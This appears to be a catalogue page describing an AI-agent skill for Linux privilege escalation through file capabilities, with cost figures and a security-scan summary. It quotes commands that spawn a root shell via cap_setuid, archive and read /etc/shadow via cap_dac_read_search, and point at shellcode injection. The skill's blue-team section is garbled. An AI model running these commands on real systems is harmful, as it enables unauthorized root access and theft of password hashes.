linux-capabilities-privesc

linux-capabilities-privesc is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 61 tokens per session (960 once invoked), scanned B, original, MIT.

A Linux privilege-escalation guide focused on file capabilities, which grant programs special powers such as changing user IDs or reading protected files.

In plain words
What is it for?
Use it to search for file capabilities and assess whether capabilities such as cap_setuid, cap_dac_read_search, or cap_sys_ptrace could provide root access.
Why use it?
It helps find dangerous capabilities assigned to ordinary files when common checks such as sudo, SUID files, and cron jobs reveal nothing.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to search for file capabilities and assess whether capabilities such as cap_setuid, cap_dac_read_search, or cap_sys_ptrace could provide root access.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/linux-capabilities-privesc

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for linux-capabilities-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/linux-capabilities-privesc/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/linux-capabilities-privesc)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/linux-capabilities-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for linux-capabilities-privesc

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/linux-capabilities-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 960 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00061 $0.00960
Opus 5 $0.00030 $0.00480
Sonnet 5 $0.00012 $0.00192
Haiku 4.5 $0.00006 $0.00096

Measured 8d ago against content hash b4fe70ab15c9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

linux-capabilities-privesc scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

# # tar -cvf shadow.tar /etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/linux-capabilities-privesc/SKILL.md · 121 lines

How it starts

The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Capabilities Privilege Escalation

When to Use

  • During the post-exploitation phase on a Linux system after acquiring a low-privileged shell.
  • When standard privilege escalation vectors (sudoers, SUID binaries, cron jobs) yield no results.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumerating File Capabilities

# getcap -r / 2>/dev/null

# ```

### Phase 2: Exploiting cap_setuid (e.g., Python, Perl, Tar)

```bash
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# ```

### Phase 3: Exploiting cap_dac_read_search (e.g., Tar)

```bash
# # tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

Phase 4: Exploiting cap_sys_ptrace (Process Injection)

# inject_shellcode $(pidof root_process)
Decision Point 🔀
flowchart TD
    A[Run getcap ] --> B{Capabilities Found ]}
    B -->|Yes| C[Match Capability ]
    B -->|No| D[Check Other Vectors ]
    C --> E[Execute PrivEsc ]

🔵 Blue Team Detection & Defense

  • Audit File Capabilities Regularly: Principle of Least Privilege: Remove Development Tools: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Linux Capabilities Privesc — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

Read the full file on GitHub · 121 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 121 lines · 61 tokens per session scan B b4fe70ab15c9

Subscribe to this mod's changes

linux-capabilities-privesc is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 61 tokens to every session and 960 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

linux-capabilities-privesc

Identify and exploit misconfigured Linux Capabilities. This skill covers how attackers escalate privileges to root without relying on SUID binaries or kernel exploits by abusing excessive capabilities like capdacreadsearch, capsysptrace, or capsetuid assigned to ordinary files.

akashrpatil/awesome-offensive-security-skills · 61 tokens

detecting-privilege-escalation-in-kubernetes-pods

Detect and prevent privilege escalation in Kubernetes pods by monitoring security contexts, capabilities, and syscall patterns with Falco and OPA policies.

xalgorix/xalgorix · 40 tokens

privesc-linpeas

Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…

AgentSecOps/SecOpsAgentKit · 153 tokens

analyzing-cron-job-privesc-vectors

Identify and exploit Linux cron job misconfigurations to escalate privileges from a low-privilege user to root. Covers writable cron scripts, world-writable PATH entries, wildcard injection, and cron-based reverse shells in isolated lab environments.

withcrux/agentHack-skills · 58 tokens

analyzing-sudo-rules-for-privesc-vectors

Enumerate and exploit sudo misconfigurations on Linux systems to escalate privileges. Covers NOPASSWD entries, wildcard abuse, sudo -l enumeration, LDPRELOAD injection, and GTFOBins lookup for allowed commands in isolated lab environments. Core skill for Linux privilege escalation phases.

withcrux/agentHack-skills · 70 tokens

detecting-suid-misconfigurations-for-privesc

Identify SUID (Set User ID) binary misconfigurations on Linux systems that allow unprivileged users to escalate to root. Covers manual enumeration, GTFOBins technique lookup, and exploitation in isolated lab environments. Essential skill for Linux privilege escalation during penetration testing engagements.

withcrux/agentHack-skills · 67 tokens